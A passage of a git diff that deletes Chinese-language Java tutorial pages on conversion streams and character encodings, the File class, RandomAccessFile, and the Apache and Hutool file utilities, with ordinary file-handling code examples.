即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) \ No newline at end of file diff --git a/docs/src/io/char-byte.md b/docs/src/io/char-byte.md deleted file mode 100644 index a064e16453..0000000000 --- a/docs/src/io/char-byte.md +++ /dev/null @@ -1,252 +0,0 @@ ---- -title: Java 转换流:Java 字节流和字符流的桥梁 -shortTitle: 转换流 -category: - - Java核心 -tag: - - Java IO -description: 本文详细介绍了 Java 转换流在 IO 操作中的重要作用,阐述了其如何有效地将字节流与字符流相互转换。同时,文章还提供了转换流的实际应用示例和常用方法。阅读本文,将帮助您更深入地了解 Java 转换流及其在 Java 编程中的关键地位,提高数据处理的灵活性和效率。 -head: - - - meta - - name: keywords - content: Java,Java IO,转换流,InputStreamReader,OutputStreamWriter,乱码,编码,解码,java转换流 ---- - - -转换流可以将一个[字节流](https://javabetter.cn/io/stream.html)包装成[字符流](https://javabetter.cn/io/reader-writer.html),或者将一个字符流包装成字节流。这种转换通常用于处理文本数据,如读取文本文件或将数据从网络传输到应用程序。 - -转换流主要有两种类型:InputStreamReader 和 OutputStreamWriter。 - -InputStreamReader 将一个字节输入流转换为一个字符输入流,而 OutputStreamWriter 将一个字节输出流转换为一个字符输出流。它们使用指定的字符集将字节流和字符流之间进行转换。常用的字符集包括 UTF-8、GBK、ISO-8859-1 等。 - -![二哥的 Java 进阶之路:字节流字符流](https://cdn.paicoding.com/studymore/char-byte-20230322165959.png) - -### 01、编码和解码 - -在计算机中,数据通常以二进制形式存储和传输。 - -- 编码就是将原始数据(比如说文本、图像、视频、音频等)转换为二进制形式。 -- 解码就是将二进制数据转换为原始数据,是一个反向的过程。 - -常见的编码和解码方式有很多,举几个例子: - -- ASCII 编码和解码:在计算机中,常常使用 ASCII 码来表示字符,如键盘上的字母、数字和符号等。例如,字母 A 对应的 ASCII 码是 65,字符 + 对应的 ASCII 码是 43。 -- Unicode 编码和解码:Unicode 是一种字符集,支持多种语言和字符集。在计算机中,Unicode 可以使用 UTF-8、UTF-16 等编码方式将字符转换为二进制数据进行存储和传输。 -- Base64 编码和解码:Base64 是一种将二进制数据转换为 ASCII 码的编码方式。它将 3 个字节的二进制数据转换为 4 个 ASCII 字符,以便在网络传输中使用。例如,将字符串 "Hello, world!" 进行 Base64 编码后,得到的结果是 "SGVsbG8sIHdvcmxkIQ=="。 -- 图像编码和解码:在图像处理中,常常使用 JPEG、PNG、GIF 等编码方式将图像转换为二进制数据进行存储和传输。在解码时,可以将二进制数据转换为图像,以便显示或处理。 -- 视频编码和解码:在视频处理中,常常使用 H.264、AVC、MPEG-4 等编码方式将视频转换为二进制数据进行存储和传输。在解码时,可以将二进制数据转换为视频,以便播放或处理。 - -简单一点说就是: - -- 编码:字符(能看懂的)-->字节(看不懂的) -- 解码:字节(看不懂的)-->字符(能看懂的) - -我用代码来表示一下: - -```java -String str = "沉默王二"; -String charsetName = "UTF-8"; - -// 编码 -byte[] bytes = str.getBytes(Charset.forName(charsetName)); -System.out.println("编码: " + bytes); - -// 解码 -String decodedStr = new String(bytes, Charset.forName(charsetName)); -System.out.println("解码: " + decodedStr); -``` - -在这个示例中,首先定义了一个字符串变量 str 和一个字符集名称 charsetName。然后,使用 `Charset.forName()` 方法获取指定字符集的 Charset 对象。接着,使用字符串的 getBytes() 方法将字符串编码为指定字符集的字节数组。最后,使用 `new String()` 方法将字节数组解码为字符串。 - -需要注意的是,在编码和解码过程中,要保证使用相同的字符集,以便正确地转换数据。 - -### 02、字符集 - -Charset:字符集,是一组字符的集合,每个字符都有一个唯一的编码值,也称为码点。 - -常见的字符集包括 ASCII、Unicode 和 GBK,而 Unicode 字符集包含了多种编码方式,比如说 UTF-8、UTF-16。 - -![](https://cdn.paicoding.com/studymore/char-byte-20230322174312.png) - -#### **ASCII 字符集** - -ASCII(American Standard Code for Information Interchange,美国信息交换标准代码)字符集是一种最早的字符集,包含 128 个字符,其中包括控制字符、数字、英文字母以及一些标点符号。ASCII 字符集中的每个字符都有一个唯一的 7 位二进制编码(由 0 和 1 组成),可以表示为十进制数或十六进制数。 - -ASCII 编码方式是一种固定长度的编码方式,每个字符都使用 7 位二进制编码来表示。ASCII 编码只能表示英文字母、数字和少量的符号,不能表示其他语言的文字和符号,因此在全球范围内的应用受到了很大的限制。 - -#### Unicode 字符集 - -Unicode 包含了世界上几乎所有的字符,用于表示人类语言、符号和表情等各种信息。Unicode 字符集中的每个字符都有一个唯一的码点(code point),用于表示该字符在字符集中的位置,可以用十六进制数表示。 - -为了在计算机中存储和传输 Unicode 字符集中的字符,需要使用一种编码方式。UTF-8、UTF-16 和 UTF-32 都是 Unicode 字符集的编码方式,用于将 Unicode 字符集中的字符转换成字节序列,以便于存储和传输。它们的差别在于使用的字节长度不同。 - -- UTF-8 是一种可变长度的编码方式,对于 ASCII 字符(码点范围为 `0x00~0x7F`),使用一个字节表示,对于其他 Unicode 字符,使用两个、三个或四个字节表示。UTF-8 编码方式被广泛应用于互联网和计算机领域,因为它可以有效地压缩数据,适用于网络传输和存储。 -- UTF-16 是一种固定长度的编码方式,对于基本多语言平面(Basic Multilingual Plane,Unicode 字符集中的一个码位范围,包含了世界上大部分常用的字符,总共包含了超过 65,000 个码位)中的字符(码点范围为 `0x0000~0xFFFF`),使用两个字节表示,对于其他 Unicode 字符,使用四个字节表示。 -- UTF-32 是一种固定长度的编码方式,对于所有 Unicode 字符,使用四个字节表示。 - -#### GBK 字符集 - -GBK 包含了 GB2312 字符集中的字符,同时还扩展了许多其他汉字字符和符号,共收录了 21,913 个字符。GBK 采用双字节编码方式,每个汉字占用 2 个字节,其中高字节和低字节都使用了 8 位,因此 GBK 编码共有 `2^16=65536` 种可能的编码,其中大部分被用于表示汉字字符。 - -GBK 编码是一种变长的编码方式,对于 ASCII 字符(码位范围为 0x00 到 0x7F),使用一个字节表示,对于其他字符,使用两个字节表示。GBK 编码中的每个字节都可以采用 0x81 到 0xFE 之间的任意一个值,因此可以表示 `2^15=32768` 个字符。为了避免与 ASCII 码冲突,GBK 编码的第一个字节采用了 0x81 到 0xFE 之间除了 0x7F 的所有值,第二个字节采用了 0x40 到 0x7E 和 0x80 到 0xFE 之间的所有值,共 94 个值。 - -GB2312 的全名是《信息交换用汉字编码字符集基本集》,也被称为“国标码”。采用了双字节编码方式,每个汉字占用 2 个字节,其中高字节和低字节都使用了 8 位,因此 GB2312 编码共有 `2^16=65536` 种可能的编码,其中大部分被用于表示汉字字符。GB2312 编码中的每个字节都可以采用 0xA1 到 0xF7 之间的任意一个值,因此可以表示 126 个字符。 - -GB2312 是一个较为简单的字符集,只包含了常用的汉字和符号,因此对于一些较为罕见的汉字和生僻字,GB2312 不能满足需求,现在已经逐渐被 GBK、GB18030 等字符集所取代。 - -GB18030 是最新的中文码表。收录汉字 70244 个,采用多字节编码,每个字可以由 1 个、2 个或 4 个字节组成。支持中国国内少数民族的文字,同时支持繁体汉字以及日韩汉字等。 - -### 03、乱码 - -当使用不同的编码方式读取或者写入文件时,就会出现乱码问题,来看示例。 - -```java -String s = "沉默王二!"; - -try { - // 将字符串按GBK编码方式保存到文件中 - OutputStreamWriter out = new OutputStreamWriter( - new FileOutputStream("logs/test_utf8.txt"), "GBK"); - out.write(s); - out.close(); - - FileReader fileReader = new FileReader("logs/test_utf8.txt"); - int read; - while ((read = fileReader.read()) != -1) { - System.out.print((char)read); - } - fileReader.close(); -} catch (IOException e) { - e.printStackTrace(); -} -``` - -在上面的示例代码中,首先定义了一个包含中文字符的字符串,然后将该字符串按 GBK 编码方式保存到文件中,接着将文件按默认编码方式(UTF-8)读取,并显示内容。此时就会出现乱码问题,显示为“��Ĭ������”。 - -这是因为文件中的 GBK 编码的字符在使用 UTF-8 编码方式解析时无法正确解析,从而导致出现乱码问题。 - -那如何才能解决乱码问题呢? - -这就引出我们今天的主角了——转换流。 - -### 04、InputStreamReader - -`java.io.InputStreamReader` 是 Reader 类的子类。它的作用是将字节流(InputStream)转换为字符流(Reader),同时支持指定的字符集编码方式,从而实现字符流与字节流之间的转换。 - -#### 1)构造方法 - -- `InputStreamReader(InputStream in)`: 创建一个使用默认字符集的字符流。 -- `InputStreamReader(InputStream in, String charsetName)`: 创建一个指定字符集的字符流。 - -代码示例如下: - -```java -InputStreamReader isr = new InputStreamReader(new FileInputStream("in.txt")); -InputStreamReader isr2 = new InputStreamReader(new FileInputStream("in.txt") , "GBK"); -``` - -#### 2)解决编码问题 - -下面是一个使用 InputStreamReader 解决乱码问题的示例代码: - -```java -String s = "沉默王二!"; - -try { - // 将字符串按GBK编码方式保存到文件中 - OutputStreamWriter outUtf8 = new OutputStreamWriter( - new FileOutputStream("logs/test_utf8.txt"), "GBK"); - outUtf8.write(s); - outUtf8.close(); - - // 将字节流转换为字符流,使用GBK编码方式 - InputStreamReader isr = new InputStreamReader(new FileInputStream("logs/test_utf8.txt"), "GBK"); - // 读取字符流 - int c; - while ((c = isr.read()) != -1) { - System.out.print((char) c); - } - isr.close(); -} catch (IOException e) { - e.printStackTrace(); -} -``` - -由于使用了 InputStreamReader 对字节流进行了编码方式的转换,因此在读取字符流时就可以正确地解析出中文字符,避免了乱码问题。 - -### 05、OutputStreamWriter - -`java.io.OutputStreamWriter` 是 Writer 的子类,字面看容易误以为是转为字符流,其实是将字符流转换为字节流,是字符流到字节流的桥梁。 - -- `OutputStreamWriter(OutputStream in)`: 创建一个使用默认字符集的字符流。 -- `OutputStreamWriter(OutputStream in, String charsetName)`:创建一个指定字符集的字符流。 - -代码示例如下: - -```java -OutputStreamWriter isr = new OutputStreamWriter(new FileOutputStream("a.txt")); -OutputStreamWriter isr2 = new OutputStreamWriter(new FileOutputStream("b.txt") , "GBK"); -``` - -通常为了提高读写效率,我们会在转换流上再加一层[缓冲流](https://javabetter.cn/io/buffer.html),来看代码示例: - -```java -try { - // 从文件读取字节流,使用UTF-8编码方式 - FileInputStream fis = new FileInputStream("test.txt"); - // 将字节流转换为字符流,使用UTF-8编码方式 - InputStreamReader isr = new InputStreamReader(fis, "UTF-8"); - // 使用缓冲流包装字符流,提高读取效率 - BufferedReader br = new BufferedReader(isr); - // 创建输出流,使用UTF-8编码方式 - FileOutputStream fos = new FileOutputStream("output.txt"); - // 将输出流包装为转换流,使用UTF-8编码方式 - OutputStreamWriter osw = new OutputStreamWriter(fos, "UTF-8"); - // 使用缓冲流包装转换流,提高写入效率 - BufferedWriter bw = new BufferedWriter(osw); - - // 读取输入文件的每一行,写入到输出文件中 - String line; - while ((line = br.readLine()) != null) { - bw.write(line); - bw.newLine(); // 每行结束后写入一个换行符 - } - - // 关闭流 - br.close(); - bw.close(); -} catch (IOException e) { - e.printStackTrace(); -} -``` - -在上面的示例代码中,首先使用 FileInputStream 从文件中读取字节流,使用 UTF-8 编码方式进行读取。然后,使用 InputStreamReader 将字节流转换为字符流,使用 UTF-8 编码方式进行转换。接着,使用 BufferedReader 包装字符流,提高读取效率。然后,创建 FileOutputStream 用于输出文件,使用 UTF-8 编码方式进行创建。接着,使用 OutputStreamWriter 将输出流转换为字符流,使用 UTF-8 编码方式进行转换。最后,使用 BufferedWriter 包装转换流,提高写入效率。 - -### 06、小结 - -InputStreamReader 和 OutputStreamWriter 是将字节流转换为字符流或者将字符流转换为字节流。通常用于解决字节流和字符流之间的转换问题,可以将字节流以指定的字符集编码方式转换为字符流,或者将字符流以指定的字符集编码方式转换为字节流。 - -InputStreamReader 类的常用方法包括: - -- `read()`:从输入流中读取一个字符的数据。 -- `read(char[] cbuf, int off, int len)`:从输入流中读取 len 个字符的数据到指定的字符数组 cbuf 中,从 off 位置开始存放。 -- `ready()`:返回此流是否已准备好读取。 -- `close()`:关闭输入流。 - -OutputStreamWriter 类的常用方法包括: - -- `write(int c)`:向输出流中写入一个字符的数据。 -- `write(char[] cbuf, int off, int len)`:向输出流中写入指定字符数组 cbuf 中的 len 个字符,从 off 位置开始。 -- `flush()`:将缓冲区的数据写入输出流中。 -- `close()`:关闭输出流。 - -在使用转换流时,需要指定正确的字符集编码方式,否则可能会导致数据读取或写入出现乱码。 - ---- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/io/file-path.md b/docs/src/io/file-path.md deleted file mode 100644 index d3c49329aa..0000000000 --- a/docs/src/io/file-path.md +++ /dev/null @@ -1,469 +0,0 @@ ---- -title: Java File:IO 流的起点与终点 -shortTitle: 文件流 -category: - - Java核心 -tag: - - Java IO -description: 本文详细介绍了 Java File 类,阐述了其在 IO 流操作中的关键角色,作为输入输出操作的起点与终点。同时,文章还提供了 Java File 类的实际应用示例和常用方法。阅读本文,将帮助您更深入地了解 Java File 类及其在 Java 编程中的重要性,提高文件操作效率。 -head: - - - meta - - name: keywords - content: Java,Java IO,文件流, file,java文件,java目录,java文件增删改查,java file ---- - - -在 IO 操作中,文件的操作相对来说是比较复杂的,但也是使用频率最高的部分,我们几乎所有的项目中几乎都躺着一个叫做 FileUtil 或者 FileUtils 的工具类。 - -`java.io.File` 类是专门对文件进行操作的类,注意只能对文件本身进行操作,不能对文件内容进行操作,想要操作内容,必须借助输入输出流。 - -`File` 类是文件和目录的抽象表示,主要用于文件和目录的创建、查找和删除等操作。 - -怎么理解上面两句话?其实很简单! - -第一句是说 File 跟流无关,File 类不能对文件进行读和写,也就是输入和输出! - -第二句是说 File 可以表示`D:\\文件目录1`与`D:\\文件目录1\\文件.txt`,前者是文件夹(Directory,或者叫目录)后者是文件(file),File 类就是用来操作它俩的。 - -### File 构造方法 - -在 Java 中,一切皆是对象,File 类也不例外,不论是哪个对象都应该从该对象的构造说起,所以我们来分析分析`File`类的构造方法。 - -比较常用的构造方法有三个: - -1、 `File(String pathname)` :通过给定的**路径**来创建新的 File 实例。 - -2、 `File(String parent, String child)` :从**父路径(字符串)和子路径**创建新的 File 实例。 - -3、 `File(File parent, String child)` :从**父路径(File)和子路径名字符串**创建新的 File 实例。 - -看文字描述不够生动、不够形象、不得劲?没事,通过举例马上就生动形象了,代码如下: - -```java -// 文件路径名 -String path = "/Users/username/123.txt"; -File file1 = new File(path); -// 文件路径名 -String path2 = "/Users/username/1/2.txt"; -File file2 = new File(path2); -------------相当于/Users/username/1/2.txt -// 通过父路径和子路径字符串 -String parent = "/Users/username/aaa"; -String child = "bbb.txt"; -File file3 = new File(parent, child); --------相当于/Users/username/aaa/bbb.txt -// 通过父级File对象和子路径字符串 -File parentDir = new File("/Users/username/aaa"); -String child = "bbb.txt"; -File file4 = new File(parentDir, child); --------相当于/Users/username/aaa/bbb.txt -``` - -注意,macOS 路径使用正斜杠(`/`)作为路径分隔符,而 Windows 路径使用反斜杠(`\`)作为路径分隔符。所以在遇到路径分隔符的时候,不要直接去写`/`或者`\`。 - -Java 中提供了一个跨平台的方法来获取路径分隔符,即使用 `File.separator`,这个属性会根据操作系统自动返回正确的路径分隔符。 - -File 类的注意点: - -1. 一个 File 对象代表硬盘中实际存在的一个文件或者目录。 -2. File 类的构造方法不会检验这个文件或目录是否真实存在,因此无论该路径下是否存在文件或者目录,都不影响 File 对象的创建。 - -### File 常用方法 - -File 的常用方法主要分为获取功能、获取绝对路径和相对路径、判断功能、创建删除功能的方法。 - -#### **1)获取功能的方法** - -1、`getAbsolutePath()` :返回此 File 的绝对路径。 - -2、`getPath()` :结果和 getAbsolutePath 一致。 - -3、`getName()` :返回文件名或目录名。 - -4、`length()` :返回文件长度,以字节为单位。 - -测试代码如下【注意测试以你自己的电脑文件夹为准】: - -```java -File f = new File("/Users/username/aaa/bbb.java"); -System.out.println("文件绝对路径:"+f.getAbsolutePath()); -System.out.println("文件构造路径:"+f.getPath()); -System.out.println("文件名称:"+f.getName()); -System.out.println("文件长度:"+f.length()+"字节"); - -File f2 = new File("/Users/username/aaa"); -System.out.println("目录绝对路径:"+f2.getAbsolutePath()); -System.out.println("目录构造路径:"+f2.getPath()); -System.out.println("目录名称:"+f2.getName()); -System.out.println("目录长度:"+f2.length()); -``` - -注意:`length()` 表示文件的长度,`File` 对象表示目录的时候,返回值并无意义。 - -#### **2)绝对路径和相对路径** - -绝对路径是从文件系统的根目录开始的完整路径,它描述了一个文件或目录在文件系统中的确切位置。在 Windows 系统中,绝对路径通常以盘符(如 C:)开始,例如 "`C:\Program Files\Java\jdk1.8.0_291\bin\java.exe`"。在 macOS 和 Linux 系统中,绝对路径通常以斜杠(`/`)开始,例如 "`/usr/local/bin/python3`"。 - -相对路径是相对于当前工作目录的路径,它描述了一个文件或目录与当前工作目录之间的位置关系。在 Java 中,相对路径通常是相对于当前 Java 程序所在的目录,例如 "`config/config.properties`"。如果当前工作目录是 "`/Users/username/project`",那么相对路径 "`config/config.properties`" 就表示 "`/Users/username/project/config/config.properties`"。 - -注意: - -- 在 Windows 操作系统中,文件系统默认是不区分大小写的,即在文件系统中,文件名和路径的大小写可以混合使用。例如,"`C:\Users\username\Documents\example.txt`" 和 "`C:\Users\Username\Documents\Example.txt`" 表示的是同一个文件。但是,Windows 操作系统提供了一个区分大小写的选项,可以在格式化磁盘时选择启用,这样文件系统就会区分大小写。 -- 在 macOS 和 Linux 等 Unix 系统中,文件系统默认是区分大小写的。例如,在 macOS 系统中,"`/Users/username/Documents/example.txt`" 和 "`/Users/username/Documents/Example.txt`" 表示的是两个不同的文件。 - -```java -// 绝对路径示例 -File absoluteFile = new File("/Users/username/example/test.txt"); -System.out.println("绝对路径:" + absoluteFile.getAbsolutePath()); - -// 相对路径示例 -File relativeFile = new File("example/test.txt"); -System.out.println("相对路径:" + relativeFile.getPath()); -``` - -#### **3)判断功能的方法** - -1、 `exists()` :判断文件或目录是否存在。 - -2、 `isDirectory()` :判断是否为目录。 - -3、`isFile()` :判断是否为文件。 - -方法演示,代码如下: - -```java -File file = new File("/Users/username/example"); - -// 判断文件或目录是否存在 -if (file.exists()) { - System.out.println("文件或目录存在"); -} else { - System.out.println("文件或目录不存在"); -} - -// 判断是否是目录 -if (file.isDirectory()) { - System.out.println("是目录"); -} else { - System.out.println("不是目录"); -} - -// 判断是否是文件 -if (file.isFile()) { - System.out.println("是文件"); -} else { - System.out.println("不是文件"); -} -``` - -#### **4)创建、删除功能的方法** - -- `createNewFile()` :文件不存在,创建一个新的空文件并返回`true`,文件存在,不创建文件并返回`false`。 -- `delete()` :删除文件或目录。如果是目录,只有目录为空才能删除。 -- `mkdir()` :只能创建一级目录,如果父目录不存在,则创建失败。返回 true 表示创建成功,返回 false 表示创建失败。 -- `mkdirs()` :可以创建多级目录,如果父目录不存在,则会一并创建。返回 true 表示创建成功,返回 false 表示创建失败或目录已经存在。 - -**开发中一般用**`mkdirs()`; - -方法测试,代码如下: - -```java -// 创建文件 -File file = new File("/Users/username/example/test.txt"); -if (file.createNewFile()) { - System.out.println("创建文件成功:" + file.getAbsolutePath()); -} else { - System.out.println("创建文件失败:" + file.getAbsolutePath()); -} - -// 删除文件 -if (file.delete()) { - System.out.println("删除文件成功:" + file.getAbsolutePath()); -} else { - System.out.println("删除文件失败:" + file.getAbsolutePath()); -} - -// 创建多级目录 -File directory = new File("/Users/username/example/subdir1/subdir2"); -if (directory.mkdirs()) { - System.out.println("创建目录成功:" + directory.getAbsolutePath()); -} else { - System.out.println("创建目录失败:" + directory.getAbsolutePath()); -} -``` - -#### 5)目录的遍历 - -- `String[] list()` :返回一个 String 数组,表示该 File 目录中的所有子文件或目录。 -- `File[] listFiles()` :返回一个 File 数组,表示该 File 目录中的所有的子文件或目录。 - -```java -File directory = new File("/Users/itwanger/Documents/Github/paicoding"); - -// 列出目录下的文件名 -String[] files = directory.list(); -System.out.println("目录下的文件名:"); -for (String file : files) { - System.out.println(file); -} - -// 列出目录下的文件和子目录 -File[] filesAndDirs = directory.listFiles(); -System.out.println("目录下的文件和子目录:"); -for (File fileOrDir : filesAndDirs) { - if (fileOrDir.isFile()) { - System.out.println("文件:" + fileOrDir.getName()); - } else if (fileOrDir.isDirectory()) { - System.out.println("目录:" + fileOrDir.getName()); - } -} -``` - -**listFiles**在获取指定目录下的文件或者子目录时必须满足下面两个条件: - -- 1. **指定的目录必须存在** -- 2. **指定的必须是目录。否则容易引发 NullPointerException 异常** - -#### 6)递归遍历 - -不说啥了,直接上代码: - -```java -public static void main(String[] args) { - File directory = new File("/Users/itwanger/Documents/Github/paicoding"); - - // 递归遍历目录下的文件和子目录 - traverseDirectory(directory); -} - -public static void traverseDirectory(File directory) { - // 列出目录下的所有文件和子目录 - File[] filesAndDirs = directory.listFiles(); - - // 遍历每个文件和子目录 - for (File fileOrDir : filesAndDirs) { - if (fileOrDir.isFile()) { - // 如果是文件,输出文件名 - System.out.println("文件:" + fileOrDir.getName()); - } else if (fileOrDir.isDirectory()) { - // 如果是目录,递归遍历子目录 - System.out.println("目录:" + fileOrDir.getName()); - traverseDirectory(fileOrDir); - } - } -} -``` - -### RandomAccessFile - -RandomAccessFile 是 Java 中一个非常特殊的类,它既可以用来读取文件,也可以用来写入文件。与其他 IO 类(如 FileInputStream 和 FileOutputStream)不同,RandomAccessFile 允许您跳转到文件的任何位置,从那里开始读取或写入。这使得它特别适用于需要在文件中随机访问数据的场景,如数据库系统。 - -下面是一个使用 RandomAccessFile 的示例,包括写入和读取文件: - -```java -import java.io.IOException; -import java.io.RandomAccessFile; - -public class RandomAccessFileDemo { - - public static void main(String[] args) { - String filePath = "logs/javabetter/itwanger.txt"; - - try { - // 使用 RandomAccessFile 写入文件 - writeToFile(filePath, "Hello, 沉默王二!"); - - // 使用 RandomAccessFile 读取文件 - String content = readFromFile(filePath); - System.out.println("文件内容: " + content); - } catch (IOException e) { - e.printStackTrace(); - } - } - - private static void writeToFile(String filePath, String content) throws IOException { - try (RandomAccessFile randomAccessFile = new RandomAccessFile(filePath, "rw")) { - // 将文件指针移动到文件末尾(在此处追加内容) - randomAccessFile.seek(randomAccessFile.length()); - - // 写入内容 - randomAccessFile.writeUTF(content); - } - } - - private static String readFromFile(String filePath) throws IOException { - StringBuilder content = new StringBuilder(); - - try (RandomAccessFile randomAccessFile = new RandomAccessFile(filePath, "r")) { - // 将文件指针移动到文件开始处(从头开始读取) - randomAccessFile.seek(0); - - content.append(randomAccessFile.readUTF()); - } - - return content.toString(); - } -} -``` - -为了避免中文乱码问题,我们使用 RandomAccessFile 的 writeUTF 和 readUTF 方法,它们将使用 UTF-8 编码处理字符串。大家可以运行一下这段代码,体验一下。 - -![](https://cdn.paicoding.com/stutymore/file-path-20230331193604.png) - -接下来,会详细介绍一下 RandomAccessFile 的构造方法和常用的方法。 - -#### 构造方法 - -RandomAccessFile 主要有两个构造方法: - -- `RandomAccessFile(File file, String mode)`:使用给定的文件对象和访问模式创建一个新的 RandomAccessFile 实例。 -- `RandomAccessFile(String name, String mode)`:使用给定的文件名和访问模式创建一个新的 RandomAccessFile 实例。 - -访问模式 mode 的值可以是: - -- "r":以只读模式打开文件。调用结果对象的任何 write 方法都将导致 IOException。 -- "rw":以读写模式打开文件。如果文件不存在,它将被创建。 -- "rws":以读写模式打开文件,并要求对内容或元数据的每个更新都被立即写入到底层存储设备。这种模式是同步的,可以确保在系统崩溃时不会丢失数据。 -- "rwd":与“rws”类似,以读写模式打开文件,但仅要求对文件内容的更新被立即写入。元数据可能会被延迟写入。 - -#### 主要方法 - -- `long getFilePointer()`:返回文件指针的当前位置。 -- `long length()`:返回此文件的长度。 -- `int read()`:从该文件中读取一个字节数据。 -- `int read(byte[] b)`:从该文件中读取字节数据并将其存储到指定的字节数组中。 -- `int read(byte[] b, int off, int len)`:从该文件中读取字节数据并将其存储到指定的字节数组中,从偏移量 off 开始,最多读取 len 个字节。 -- `String readLine()`:从该文件中读取一行文本。 -- `readUTF()`:从文件读取 UTF-8 编码的字符串。此方法首先读取两个字节的长度信息,然后根据这个长度读取字符串的 UTF-8 字节。最后,这些字节被转换为 Java 字符串。这意味着当你使用 readUTF 方法读取字符串时,需要确保文件中的字符串是使用 writeUTF 方法写入的,这样它们之间的长度信息和编码方式才能保持一致。 -- `void seek(long pos)`:将文件指针设置到文件中的 pos 位置。 -- `void write(byte[] b)`:将指定的字节数组的所有字节写入该文件。 -- `void write(byte[] b, int off, int len)`:将指定字节数组的部分字节写入该文件,从偏移量 off 开始,写入 len 个字节。 -- `void write(int b)`:将指定的字节写入该文件。 -- `writeUTF(String str)`:将一个字符串以 UTF-8 编码写入文件。此方法首先写入两个字节的长度信息,表示字符串的 UTF-8 字节长度,然后写入 UTF-8 字节本身。因此,当你使用 writeUTF 写入字符串时,实际写入的字节数会比字符串的 UTF-8 字节长度多两个字节。这两个字节用于在读取字符串时确定正确的字符串长度。 - -再来看一个示例,结合前面的讲解,就会彻底掌握 RandomAccessFile。 - -```java -File file = new File("logs/javabetter/itwanger.txt"); - -try (RandomAccessFile raf = new RandomAccessFile(file, "rw")) { - // 写入文件 - raf.writeUTF("Hello, 沉默王二!"); - - // 将文件指针移动到文件开头 - raf.seek(0); - - // 读取文件内容 - String content = raf.readUTF(); - System.out.println("内容: " + content); - -} catch (IOException e) { - e.printStackTrace(); -} -``` - -在这个示例中,我们首先创建了一个名为 itwanger.txt 的文件对象。然后我们使用 RandomAccessFile 以读写模式打开这个文件。 - -接下来,我们使用 writeUTF 方法将字符串"Hello, 沉默王二!"写入文件。然后,我们使用 seek 方法将文件指针移动到文件开头,并使用 readUTF 方法读取文件内容。输出应该是"Hello, 沉默王二!"。 - -最后,我们使用[try-with-resources](https://javabetter.cn/exception/try-with-resources.html)语句确保 RandomAccessFile 在操作完成后被正确关闭。 - -### Apache FileUtils 类 - -FileUtils 类是 Apache Commons IO 库中的一个类,提供了一些更为方便的方法来操作文件或目录。 - -#### **1)复制文件或目录:** - -```java -File srcFile = new File("path/to/src/file"); -File destFile = new File("path/to/dest/file"); -// 复制文件 -FileUtils.copyFile(srcFile, destFile); -// 复制目录 -FileUtils.copyDirectory(srcFile, destFile); -``` - -#### **2)删除文件或目录:** - -```java -File file = new File("path/to/file"); -// 删除文件或目录 -FileUtils.delete(file); -``` - -需要注意的是,如果要删除一个非空目录,需要先删除目录中的所有文件和子目录。 - -#### **3)移动文件或目录:** - -```java -File srcFile = new File("path/to/src/file"); -File destFile = new File("path/to/dest/file"); -// 移动文件或目录 -FileUtils.moveFile(srcFile, destFile); -``` - -#### **4)查询文件或目录的信息:** - -```java -File file = new File("path/to/file"); -// 获取文件或目录的修改时间 -Date modifyTime = FileUtils.lastModified(file); -// 获取文件或目录的大小 -long size = FileUtils.sizeOf(file); -// 获取文件或目录的扩展名 -String extension = FileUtils.getExtension(file.getName()); -``` - -### Hutool FileUtil 类 - -FileUtil 类是 [Hutool](https://hutool.cn) 工具包中的文件操作工具类,提供了一系列简单易用的文件操作方法,可以帮助 Java 开发者快速完成文件相关的操作任务。 - -FileUtil 类包含以下几类操作工具: - -- 文件操作:包括文件目录的新建、删除、复制、移动、改名等 -- 文件判断:判断文件或目录是否非空,是否为目录,是否为文件等等。 -- 绝对路径:针对 ClassPath 中的文件转换为绝对路径文件。 -- 文件名:主文件名,扩展名的获取 -- 读操作:包括 getReader、readXXX 操作 -- 写操作:包括 getWriter、writeXXX 操作 - -下面是 FileUtil 类中一些常用的方法: - -1、copyFile:复制文件。该方法可以将指定的源文件复制到指定的目标文件中。 - -```java -File dest = FileUtil.file("FileUtilDemo2.java"); -FileUtil.copyFile(file, dest); -``` - -2、move:移动文件或目录。该方法可以将指定的源文件或目录移动到指定的目标文件或目录中。 - -```java -FileUtil.move(file, dest, true); -``` - -3、del:删除文件或目录。该方法可以删除指定的文件或目录,如果指定的文件或目录不存在,则会抛出异常。 - -```java -FileUtil.del(file); -``` - -4、rename:重命名文件或目录。该方法可以将指定的文件或目录重命名为指定的新名称。 - -```java -FileUtil.rename(file, "FileUtilDemo3.java", true); -``` - -5、readLines:从文件中读取每一行数据。 - -```java -FileUtil.readLines(file, "UTF-8").forEach(System.out::println); -``` - -更多方法,可以去看一下 hutool 的源码,里面有非常多实用的方法,多看看,绝对能提升不少编程水平。 - ---- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/io/piped.md b/docs/src/io/piped.md deleted file mode 100644 index 12697069f7..0000000000 --- a/docs/src/io/piped.md +++ /dev/null @@ -1 +0,0 @@ -管道流 \ No newline at end of file diff --git a/docs/src/io/print.md b/docs/src/io/print.md deleted file mode 100644 index f387e21aa4..0000000000 --- a/docs/src/io/print.md +++ /dev/null @@ -1,133 +0,0 @@ ---- -title: Java 打印流:PrintStream 和 PrintWriter -shortTitle: 打印流 -category: - - Java核心 -tag: - - Java IO -description: 本文详细介绍了 Java 打印流的核心组成,着重分析了 PrintStream 和 PrintWriter 